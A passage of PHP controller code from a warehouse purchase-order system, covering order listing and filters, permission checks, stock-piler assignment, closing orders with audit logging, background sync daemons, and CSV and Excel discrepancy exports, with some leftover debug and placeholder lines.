$this->data['brands_list'] = $this->getBrands();
$this->data['divisions_list'] = $this->getDivisions();
// Search Filters
$filter_po_no = Input::get('filter_po_no', NULL);
$filter_receiver_no = Input::get('filter_receiver_no', NULL);
$filter_entry_date = Input::get('filter_entry_date', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_back_order = Input::get('filter_back_order', NULL);
$filter_brand = Input::get('filter_brand', NULL);
$filter_division = Input::get('filter_division', NULL);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no', NULL);
$receiver_no = Input::get('receiver_no', null);
$sort = Input::get('sort', 'po_no');
$order = Input::get('order', 'DESC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_po_no' => $filter_po_no,
'filter_receiver_no' => $filter_receiver_no,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'filter_back_order' => $filter_back_order,
'filter_status' => $filter_status,
'filter_brand' => $filter_brand,
'filter_division' => $filter_division,
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = PurchaseOrder::getPoLists1($receiver_no, $arrParams);
$results_total = PurchaseOrder::getPoLists1($receiver_no, $arrParams, TRUE);
// echo "<pre>"; print_r($results); die();
// $results_total = PurchaseOrder::getPOQuery($arrParams, TRUE); //count($results);//
// print_r($results_total); die();
DebugHelper::log(__METHOD__, $results_total);
// Pagination
$this->data['arrFilters'] = array(
'filter_po_no' => $filter_po_no,
'filter_receiver_no' => $filter_receiver_no,
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'filter_back_order' => $filter_back_order,
'filter_status' => $filter_status,
'filter_brand' => $filter_brand,
'filter_division' => $filter_division,
'sort' => $sort,
'order' => $order
);
$this->data['po_discrepancy'] = Paginator::make($results, $results_total, 30);
$this->data['purchase_orders_count'] = $results_total;
$this->data['counter'] = $this->data['po_discrepancy']->getFrom();
$this->data['filter_po_no'] = $filter_po_no;
$this->data['filter_receiver_no'] = $filter_receiver_no;
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_status'] = $filter_status;
$this->data['filter_back_order'] = $filter_back_order;
$this->data['filter_brand'] = $filter_brand;
$this->data['filter_division'] = $filter_division;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_po_no=' . $filter_po_no . '&filter_receiver_no=' . $filter_receiver_no. '&filter_shipment_reference_no=' . $filter_shipment_reference_no;
$url .= '&filter_entry_date=' . $filter_entry_date . '&filter_back_order=' . $filter_back_order;
$url .= '&filter_stock_piler=' . $filter_stock_piler . '&filter_status=' . $filter_status;
$url .= '&filter_brand=' . $filter_brand . '&filter_division=' . $filter_division;
$url .= '&page=' . $page;
$order_po_no = ($sort=='po_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_receiver_no = ($sort=='receiver_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_entry_date = ($sort=='entry_date' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_po_no'] = URL::to('purchase_order/discrepansy' . $url . '&sort=po_no&order=' . $order_po_no, NULL, FALSE);
$this->data['sort_receiver_no'] = URL::to('purchase_order/discrepansy' . $url . '&sort=receiver_no&order=' . $order_receiver_no, NULL, FALSE);
$this->data['sort_entry_date'] = URL::to('purchase_order/discrepansy' . $url . '&sort=entry_date&order=' . $order_entry_date, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('purchase_order.discrepansy', $this->data);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
//pull JDA
public function pullJDA() {
try {
$pullPurchaseOrder = "daemon_pulling_po.php";
CommonHelper::execInBackground($pullPurchaseOrder,'daemon_pulling_po');
return Redirect::to('purchase_order'. $this->setURL())->with('message', Lang::get('purchase_order.text_success_pull'));
} catch (Exception $e) {
DB::rollback();
return Redirect::to('purchase_order'. $this->setURL())->withErrors(Lang::get('purchase_order.text_fail_pull'));
}
die();
}
/**
* Assign stock piler to purchase order
*
* @example www.example.com/purchase_order/assign_to_piler
*
* @param po_no int Purchase order number
* @param stock_piler int Stock piler id
* @return Status
*/
public function assignToStockPiler() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAssignPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$pilers = implode(',' , Input::get('stock_piler'));
//get moved_to_reserve id
$arrParams = array('data_code' => 'PO_STATUS_TYPE', 'data_value'=> 'assigned');
$po_status = Dataset::getType($arrParams)->toArray();
$arrPO = explode(',', Input::get("po_no"));
$receiver_num= input::get("receiver_num");
$filter_po_no = input::get('filter_po_no', null);
$filter_receiver_no = Input::get('receiver_no', null);
foreach ($arrPO as $purchase_order_no) {
$arrParams = array(
'assigned_by' => Auth::user()->id,
'assigned_to_user_id' => $pilers, //Input::get('stock_piler'),
'po_status' => $po_status['id'], //assigned
'updated_at' => date('Y-m-d H:i:s')
);
PurchaseOrder::assignToStockpiler($purchase_order_no,$receiver_num, $arrParams);
$arrParams = array(
'filter_po_no' => Input::get('filter_po_no', NULL),
'filter_receiver_no' => Input::get('filter_receiver_no', NULL),
'filter_entry_date' => Input::get('filter_entry_date',NULL),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_shipment_reference_no' => Input::get('filter_shipment_reference_no', null),
'page' => NULL,
'limit' => NULL
);
PurchaseOrder::getPOnumber($receiver_num, $arrParams);
// AuditTrail
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
// $user = User::find(Input::get('stock_piler'));
$data_before = '';
$data_after = 'Division : ' . $purchase_order_no . ' assigned to ' . $fullname;
$arrParams = array(
'module' => 'Purchase Order',
'action' => 'Assigned PO',
'reference' => 'Division '. $purchase_order_no. 'Po no.: '. $filter_po_no.' Recvr no.:'. $receiver_num,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
PurchaseOrder::updatepoliststatus($receiver_num);
}
if (Input::get('module') == 'purchase_order_detail') {
$url = $this->setURL(true);
$url .= '&receiver_no=' . Input::get('receiver_no');
$url .= '&sort_back=' . Input::get('sort_back').'&order_back=' . Input::get('order_back') . '&page_back=' . Input::get('page_back');
return Redirect::to('purchase_order/detail' . $url)->with('message', Lang::get('purchase_order.text_success_assign'));
} else {
return Redirect::to('purchase_order/division'. $this->setURL().'&receiver_no='. Input::get('receiver_no', NULL))->with('message', Lang::get('purchase_order.text_success_assign'));
}
}
public function PartialReceive()
{
$purchase_order_no = Input::get("po_no");
$receiver_no = Input::get('receiver_no', null);
PurchaseOrder::getPartialReceiveStatusbtn($purchase_order_no, $receiver_no);
$user = User::find(Auth::user()->id);
$data_before = '';
$data_after = 'Po no.: ' . $purchase_order_no .'Rcr no. : '.$receiver_no. ' Partial Received by ' . $user->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.purchaseorder"),
'action' => Config::get("audit_trail.partial_received"),
'reference' => 'Parital Received no.: '.$purchase_order_no,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
return Redirect::to('purchase_order'. $this->setURL())->with('message', 'Successfully Partial Received update at JDA!');
}
public function closePO()
{
// Check Permissions
// echo "<pre>"; print_r(Session::get('permissions')); die();
if (Session::has('permissions')) {
if (!in_array('CanClosePurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$receiver_no = Input::get("receiver_no");
$purchase_order_no = Input::get("po_no");
$status = 'closed'; // closed
$date_updated = date('Y-m-d H:i:s');
PurchaseOrder::updatePO($receiver_no, $purchase_order_no, $status, $date_updated, '');
PurchaseOrderDetail::updateDivisionStatus($receiver_no);
/* $skus = PurchaseOrderDetail::getScannedPODetails($receiver_no);
foreach($skus as $sku){
$data = array(
'sku' => $sku->upc,
'quantity_delivered' => $sku->quantity_delivered,
'quantity_remaining' => $sku->quantity_delivered
);
SkuOnDock::insertData($data);
}*/
// AuditTrail
$user = User::find(Auth::user()->id);
$data_before = '';
$data_after = 'PO No: ' . $purchase_order_no . ' Rcr no.'.$receiver_no.' closed by ' . $user->username;
$arrParams = array(
'module' => 'Purchase Order',
'action' => 'Closed PO',
'reference' => 'Purchase Order no. : '.$purchase_order_no,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
// Add transaction for jda syncing
$isSuccess = JdaTransaction::insert(array(
'module' => Config::get('transactions.module_purchase_order'),
'jda_action' => Config::get('transactions.jda_action_po_closing'),
'reference' => $receiver_no,
));
Log::info(__METHOD__ .' jda transaction dump: '.print_r($isSuccess,true));
// run daemon command: php app/cron/jda/classes/receive_po.php
if( $isSuccess )
{
$daemonReceivingClosingPo = "classes/receive_po.php {$receiver_no}";
CommonHelper::execInBackground($daemonReceivingClosingPo,'receive_po');
}
if (Input::get('module') == 'purchase_order_detail') {
$url = $this->setURL();
$url .= '&receiver_no=' . Input::get('receiver_no');
$url .= '&sort_back=' . Input::get('sort_back').'&order_back=' . Input::get('order_back') . '&page_back=' . Input::get('page_back');
return Redirect::to('purchase_order/detail' . $url)->with('message', Lang::get('purchase_order.text_success_close_po'));
} else {
return Redirect::to('purchase_order'. $this->setURL())->with('message', Lang::get('purchase_order.text_success_close_po'));
}
}
public function closePODebenhams()
{
// Check Permissions
// echo "<pre>"; print_r(Session::get('permissions')); die();
if (Session::has('permissions')) {
if (!in_array('CanClosePurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$receiver_no = Input::get("receiver_no");
$purchase_order_no = Input::get("po_no");
$invoice_no = Input::get("invoice_no");
$status = 'closed'; // closed
$date_updated = date('Y-m-d H:i:s');
PurchaseOrder::updatePO($receiver_no, $purchase_order_no, $status, $date_updated, '');
PurchaseOrderDetail::updateDivisionStatus($receiver_no);
$skus = PurchaseOrderDetail::getScannedPODetails($receiver_no);
foreach($skus as $sku){
$data = array(
'sku' => $sku->upc,
'quantity_delivered' => $sku->quantity_delivered,
'quantity_remaining' => $sku->quantity_delivered
);
SkuOnDock::insertData($data);
}
// AuditTrail
$user = User::find(Auth::user()->id);
$data_before = '';
$data_after = 'PO No: ' . $purchase_order_no . ' Rcr no.'.$receiver_no.' closed by ' . $user->username;
$arrParams = array(
'module' => 'Purchase Order',
'action' => 'Closed PO',
'reference' => 'PO number'.$purchase_order_no,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
// Add transaction for jda syncing
/* Log::info(__METHOD__ .' jda transaction dump: '.print_r($isSuccess,true));
// run daemon command: php app/cron/jda/classes/receive_po.php
$daemon = "jda4r4/jda po_receiving {$receiver_no}";
CommonHelper::execInBackground($daemon,'po_receiving');
*/
return Redirect::to('purchase_order'. $this->setURL())->with('message', Lang::get('purchase_order.text_success_close_po'));
}
public function exportCSVexcelfile() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$po_no = Input::get('po_no', null);
$receiver_no = Input::get('receiver_no', null);
$arrParams = array(
'filter_po_no' => Input::get('filter_po_no', NULL),
'filter_receiver_no' => Input::get('filter_receiver_no', NULL),
// 'filter_supplier' => Input::get('filter_supplier', NULL),
'filter_entry_date' => Input::get('filter_entry_date',NULL),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_shipment_reference_no' => Input::get('filter_shipment_reference_no', null),
'sort' => Input::get('sort', 'po_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = PurchaseOrder::getPoLists1($receiver_no, $po_no, $arrParams);
$output = Lang::get('purchase_order.col_po_no'). "\n";
$output .= Lang::get('purchase_order.col_po_no'). ',';
$output .= Lang::get('purchase_order.col_receiver_no'). ',';
$output .= Lang::get('purchase_order.col_shipment_ref'). ',';
$output .= Lang::get('purchase_order.col_sku'). ',';
$output .= Lang::get('purchase_order.col_upc'). ',';
$output .= Lang::get('purchase_order.col_short_name'). ',';
$output .= Lang::get('purchase_order.label_divisionasdf'). ',';
$output .= Lang::get('purchase_order.col_stock_piler'). ',';
$output .= Lang::get('purchase_order.col_entry_date'). ',';
$output .= Lang::get('purchase_order.col_variance'). "\n";
foreach ($results as $key => $value)
{
$exportData = array(
'"' . $value->purchase_order_no . '"',
'"' . $value->receiver_no . '"',
'"' . $value->shipment_reference_no . '"',
'"' . $value->sku . '"',
'"' . $value->upc . '"',
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$this->data['po_no'] = $po_no;
$this->data['receiver_no'] = $receiver_no;
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="purchase_order_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
public function getExcelFile()
{
$po_no = Input::get('po_no', null);
$receiver_no = Input::get('receiver_no', null);
Excel::create('division_'. date('Ymd'), function($excel) use ( $receiver_no, $po_no){
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no');
$filter_invoice_no = Input::get('filter_invoice_no');
$arrParams = array(
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'filter_invoice_no' => $filter_invoice_no,
);
$query = PurchaseOrder::getPoLists1($receiver_no, $po_no, $arrParams);
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['filter_invoice_no'] = $filter_invoice_no;
// foreach ($query as $keyvalue)
{
$excel->sheet( $receiver_no, function($sheet) use ($query, $receiver_no, $po_no , $filter_shipment_reference_no, $filter_invoice_no)
{
$sheet->setStyle(array(
'font' => array(
'name' => 'Calibri',
'size' => 11,
'bold' => false,
'border' => 0
)
));
$sheet->setPageMargin(array(
0.25, 1, 0.25, 1
));
$sheet->mergeCells('A1:I1');
$sheet->setCellValue('A1', 'RSCI - Shortage/Overage Report');
$sheet->setBorder('A1:I1', 'thin');
$sheet->cell('A1', function($cell){
$cell->setFontWeight('bold');
$cell->setAlignment('center');
});
$sheet->setWidth("C", 20);
$sheet->setWidth("A", 20);
$sheet->setWidth("B", 10);
$sheet->setWidth("E", 10);
$sheet->mergeCells('A2:C3');
$sheet->mergeCells('A4:C5');
$sheet->mergeCells('G2:I3');
$sheet->mergeCells('D2:F5');
$sheet->mergeCells('G4:I5');
$sheet->cell("A2", function($cell) {
$cell->setAlignment('LEFT');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
$sheet->cell("A4", function($cell) {
$cell->setAlignment('LEFT');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
$sheet->cell("D2", function($cell) {
$cell->setAlignment('LEFT');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
$sheet->mergeCells('G2:I3');
$sheet->cell("G2", function($cell) {
$cell->setAlignment('LEFT');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
$sheet->mergeCells('G4:I5');
$sheet->cell("G4", function($cell) {
$cell->setAlignment('LEFT');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
$sheet->setCellValue('A2', 'Shipment ref no. :'.$filter_shipment_reference_no);
$sheet->setCellValue('A4', 'Invoice no. : '.$filter_invoice_no );
$sheet->setCellValue('G2', 'Purchase Order no. :'. $po_no);
$sheet->setCellValue('G4', 'Rcr no. :'. $receiver_no);
$header = array();
$header['A'] = 'Dept No.';
$header['B'] = 'Style No.';
$header['C'] = 'SKU';
$header['D'] = "UPC";
$header['E'] = "Advised Per RA";
$header['F'] = "Actual Receipt";
$header['G'] = "Discrepansy";
$header['H'] = "Remarks";
$start = 6;
foreach ($header as $key => $head)
{
$sheet->setCellValue($key.$start, $head);
$sheet->cell($key.$start, function($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
}
$_start = 7;
$keys = array("A", "B", "C", "D", "E", "F", "G", "H", "I");
$total=0;
$qty_ord=0;
$qty_rcv=0;
foreach ($query as $list)
{
$sheet->setCellValue('A'.$_start, $list->dept_number);
$sheet->setCellValue('B'.$_start, $list->short_description);
$sheet->setCellValue('C'.$_start, $list->upc);
$sheet->setCellValue('D'.$_start, $list->sku);
$sheet->setCellValue('E'.$_start, $list->quantity_ordered);
$sheet->setCellValue('F'.$_start, $list->qty);
$sheet->setCellValue('G'.$_start, $list->qty - $list->quantity_ordered);
$sheet->setCellValue('H'.$_start, "_____________");
$_start++;
$whpurchase = count($query)+ 1;
$qty_ord =$list->quantity_ordered;
$sheet->setCellValue("E$whpurchase", $qty_ord);
}
$ttl_result = count($query) + 9;
$for_remarks = $ttl_result + 1;
$whpurchase = count($query)+ 1;
$sheet->setCellValue("E$whpurchase", "asdfasdf");
$sheet->setCellValue("A$for_remarks", "______________________________");
$sheet->mergeCells("A$for_remarks:C$for_remarks");
$sheet->setCellValue("A$ttl_result", "Prepared by");
//
$sheet->setCellValue("F$for_remarks", "______________________________");
$sheet->mergeCells("F$for_remarks:I$for_remarks");
$sheet->setCellValue("F$ttl_result", "Noted by");
//
});
}
})->export('xlsx');
/* print_r($excel);
exit();
*/
}
/*public function exportCSVexcelfiledap() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
Excel::create('loading-sheet'.time(), function($excel) use ($load_list, $load_no, $intertransfer, $others) {
foreach ($load_list as $load)
{
$result = $this->load->getLoadingSheet($load_no, $load->to_location);
$excel->sheet($load->to_location_name, function ($sheet) use ($result, $load, $intertransfer, $others) {
$sheet->setStyle(array(
'font' => array(
'name' => 'Calibri',
'size' => 11,
'bold' => false
)
));
$sheet->setPageMargin(array(
0.25, 1, 0.25, 1
));
$sheet->mergeCells('A1:K1');
$sheet->setCellValue('A1', 'FSRI WAREHOUSE LOADING SHEET');
$sheet->setBorder('A1:K5', 'thin');
$sheet->cell('A1', function($cell){
$cell->setFontWeight('bold');
$cell->setAlignment('center');
});
$sheet->setWidth("A", 20);
$sheet->setWidth("D", 10);
$sheet->setWidth("E", 10);
$sheet->mergeCells('A2:C4');
$sheet->mergeCells('D2:E3');
$sheet->cell("D2", function($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
$sheet->mergeCells('D4:E4');
$sheet->cell("D4", function($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
$sheet->mergeCells('F2:K3');
$sheet->cell("F2", function($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
$sheet->mergeCells('F4:K4');
$sheet->cell("F4", function($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
$sheet->setCellValue('D2', 'TO LOCATION :');
$sheet->setCellValue('F2', $load->to_location_name);
$sheet->setCellValue('D4', 'DELIVERY DATE :');
$sheet->setCellValue('F4', CustomHelper::fdate($load->created_at));
$header = array();
$header['A'] = 'CATEGORY';
$header['B'] = 'LOT #';
$header['C'] = 'MTS NO.';
$header['D'] = "SKU";
$header['E'] = "QTY";
$header['F'] = "TTL BOX";
$header['G'] = "";
$header['H'] = "";
$header['I'] = "";
$header['J'] = "";
$header['K'] = "";
$start = 5;
foreach ($header as $key => $head)
{
$sheet->setCellValue($key.$start, $head);
$sheet->cell($key.$start, function($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
}
$_start = 6;
$keys = array("<KEY>");
$_category = "";
$_mts = "";
foreach ($result as $list)
{
foreach ($keys as $key)
{
$sheet->cell($key.$_start, function($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
});
$sheet->setBorder("A$_start:K$_start", 'thin');
}
if ($list->category == $_category && $list->tl_number == $_mts)
{
$category = "";
$_category = $list->category;
$mts = "";
$_mts = $list->tl_number;
}
else
{
$category = $list->category;
$_category = $list->category;
$mts = $list->tl_number;
$_mts = $list->tl_number;
}
$sheet->setCellValue('A'.$_start, $category);
$sheet->setCellValue('B'.$_start, $list->lot_no);
$sheet->setCellValue('C'.$_start, $mts);
$sheet->setCellValue('D'.$_start, $list->sku);
$sheet->setCellValue('E'.$_start, $list->qty_picked);
$sheet->setCellValue('F'.$_start, $list->ttl_box);
$_start++;
}
$ttl_result = count($result) + 6;
$for_remarks = $ttl_result + 1;
$end_remarks = $ttl_result + 6;
$driver = $for_remarks + 2;
$check_by = $driver + 2;
$signature_over = $check_by + 1;
$sheet->mergeCells("A$ttl_result:K$ttl_result");
$sheet->setcellValue("A$ttl_result", "INTERTRANSFER");
$sheet->setBorder("A$ttl_result:K$ttl_result", 'thin');
$sheet->cell("A$ttl_result", function($cell) {
$cell->setAlignment('center');
$cell->setFontWeight('bold');
});
$header = $ttl_result + 1;
$start_intertransfer = $header+1;
$sheet->setBorder("A$header:K$header", 'thin','thin','thin','thin');
$key = array("<KEY>");
foreach ($key as $key) {
$sheet->cell("$key$header", function ($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
}
$sheet->mergeCells("A$header:B$header");
$sheet->setcellValue("A$header", "TL Number");
$sheet->mergeCells("C$header:D$header");
$sheet->setcellValue("C$header", "Quantity");
$sheet->mergeCells("E$header:G$header");
$sheet->setcellValue("E$header", "Unit of Measurement");
$sheet->mergeCells("H$header:K$header");
$sheet->setcellValue("H$header", "Unit Description");
foreach ($intertransfer as $fields)
{
$sheet->setBorder("A$start_intertransfer:K$start_intertransfer", 'thin');
$sheet->mergeCells("A$start_intertransfer:B$start_intertransfer");
$sheet->setcellValue("A$start_intertransfer", $fields->tl_number);
$sheet->mergeCells("C$start_intertransfer:D$start_intertransfer");
$sheet->setcellValue("C$start_intertransfer", $fields->quantity);
$sheet->mergeCells("E$start_intertransfer:G$start_intertransfer");
$sheet->setcellValue("E$start_intertransfer", $fields->uom);
$sheet->mergeCells("H$start_intertransfer:K$start_intertransfer");
$sheet->setcellValue("H$start_intertransfer", $fields->unit_desc);
$start_intertransfer++;
}
$others_start = $header + count($intertransfer) + 1;
$others_header = $others_start+1;
$sheet->mergeCells("A$others_start:K$others_start");
$sheet->setcellValue("A$others_start", "OTHERS");
$sheet->setBorder("A$others_start:K$others_start", 'thin');
$sheet->cell("A$others_start", function($cell) {
$cell->setAlignment('center');
$cell->setFontWeight('bold');
});
$sheet->setBorder("A$others_header:K$others_header", 'thin');
$key = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K");
foreach ($key as $key) {
$sheet->cell("$key$others_header", function ($cell) {
$cell->setAlignment('center');
$cell->setFontWeight('bold');
});
}
$sheet->mergeCells("A$others_header:B$others_header");
$sheet->setcellValue("A$others_header", "TSN");
$sheet->mergeCells("C$others_header:D$others_header");
$sheet->setcellValue("C$others_header", "Quantity");
$sheet->mergeCells("E$others_header:G$others_header");
$sheet->setcellValue("E$others_header", "Unit of Measurement");
$sheet->mergeCells("H$others_header:K$others_header");
$sheet->setcellValue("H$others_header", "Unit Description");
$otherstart = $others_header+1;
foreach ($others as $fields)
{
$sheet->setBorder("A$otherstart:K$otherstart", 'thin');
$sheet->mergeCells("A$otherstart:B$otherstart");
$sheet->setcellValue("A$otherstart", $fields->tsn);
$sheet->mergeCells("C$otherstart:D$otherstart");
$sheet->setcellValue("C$otherstart", $fields->quantity);
$sheet->mergeCells("E$otherstart:G$otherstart");
$sheet->setcellValue("E$otherstart", $fields->uom);
$sheet->mergeCells("H$otherstart:K$otherstart");
$sheet->setcellValue("H$otherstart", $fields->unit_desc);
$otherstart++;
}
$remarks = $others_header + count($others) + 1;
$sheet->mergeCells("A$remarks:K$remarks");
$sheet->setCellValue('A'.$remarks, "Remarks:");
$sheet->setBorder("A$remarks:K$remarks", 'thin');
$sheet->cell("A$remarks:K$remarks", function($cell){
$cell->setBorder('thin','thin','thin','thin');
});
$startborder = $remarks +1;
$endborder = $remarks + 7;
$sheet->cell("A$startborder:K$endborder", function($cell){
$cell->setBorder('thin','thin','thin','thin');
});
$for_remarks = $remarks + 2;
$driver = $for_remarks+2;
$check_by = $driver+2;
$signature_over = $check_by+1;
$sheet->setCellValue("A$for_remarks", "SEAL NO.");
$sheet->mergeCells("B$for_remarks:D$for_remarks");
$sheet->setCellValue("B$for_remarks", "______________________________");
//
$sheet->mergeCells("F$for_remarks:G$for_remarks");
$sheet->setCellValue("F$for_remarks", "HELPER -");
$sheet->mergeCells("H$for_remarks:J$for_remarks");
$sheet->setCellValue("H$for_remarks", "______________________________");
//
$sheet->setCellValue("A$driver", "DRIVER - ");
$sheet->mergeCells("B$driver:D$driver");
$sheet->setCellValue("B$driver", ucfirst($load->driver_name));
$sheet->mergeCells("F$driver:G$driver");
$sheet->setCellValue("F$driver", "VAN PLATE NO -");
$sheet->mergeCells("H$driver:J$driver");
$sheet->setCellValue("H$driver", ucwords($load->plate_no));
//
$sheet->setCellValue("A$check_by", "Checked by :");
$sheet->mergeCells("B$check_by:D$check_by");
$sheet->setCellValue("B$check_by", "______________________________");
$sheet->mergeCells("F$check_by:G$check_by");
$sheet->setCellValue("F$check_by", "Validated by:");
$sheet->mergeCells("H$check_by:J$check_by");
$sheet->setCellValue("H$check_by", "______________________________");
//
$sheet->setCellValue("B$signature_over", "Signature over printed name");
$sheet->setCellValue("H$signature_over", "Signature over printed name");
});
}
})->export('xlsx');
}*/
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['col_id'] = Lang::get('purchase_order.col_id');
$this->data['col_po_no'] = Lang::get('purchase_order.col_po_no');
$this->data['col_box_code'] = Lang::get('purchase_order.col_box_code');
$this->data['col_sticker_by'] = Lang::get('purchase_order.col_sticker_by');
$this->data['col_receiver_no'] = Lang::get('purchase_order.col_receiver_no');
$this->data['col_supplier'] = Lang::get('purchase_order.col_supplier');
$this->data['col_receiving_stock_piler'] = Lang::get('purchase_order.col_receiving_stock_piler');
$this->data['col_shipment_ref'] = Lang::get('purchase_order.col_shipment_ref');
$this->data['col_invoice_number'] = Lang::get('purchase_order.col_invoice_number');
$this->data['col_invoice_amount'] = Lang::get('purchase_order.col_invoice_amount');
$this->data['col_entry_date'] = Lang::get('purchase_order.col_entry_date');
$this->data['col_status'] = Lang::get('purchase_order.col_status');
$this->data['col_action'] = Lang::get('purchase_order.col_action');
$this->data['col_back_order'] = Lang::get('purchase_order.col_back_order');
$this->data['col_carton_id'] = Lang::get('purchase_order.col_carton_id');
$this->data['col_total_qty'] = Lang::get('purchase_order.col_total_qty');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_posted_po'] = Lang::get('purchase_order.text_posted_po');
$filter_po_no = Input::get('filter_po_no', null);
$filter_shipment_reference_no = Input::get('shipment_reference_no', null);
$filter_entry_date = Input::get('filter_entry_date', null);
$filter_stock_piler = Input::get('filter_stock_piler', null);
$receiver_no = Input::get('receiver_no', null);
$po_no = Input::get('po_no', null);
$filter_dept_code = Input::get('filter_dept_code', null);
$this->data['po_info'] = PurchaseOrder::getPOInfodiv($receiver_no);
$arrParams = array(
'filter_po_no' => Input::get('filter_po_no', NULL),
'filter_receiver_no' => Input::get('filter_receiver_no', NULL),
'filter_entry_date' => Input::get('filter_entry_date',NULL),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_back_order' => Input::get('filter_back_order', NULL),
'filter_brand' => Input::get('filter_brand', NULL),
'filter_division' => Input::get('filter_division', NULL),
'filter_dept_code' => Input::get('filter_dept_code', null),
'filter_shipment_reference_no' => Input::get('filter_shipment_reference_no', NULL),
'sort' => Input::get('sort', 'po_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
// echo '<pre>'; print_r($arrParams); die();
$results = PurchaseOrder::getPoLists1($receiver_no, $po_no, $arrParams);
/* print_r($receiver_no);
exit();*/
$this->data['results'] = $results;
$this->data['receiver_no'] = $receiver_no;
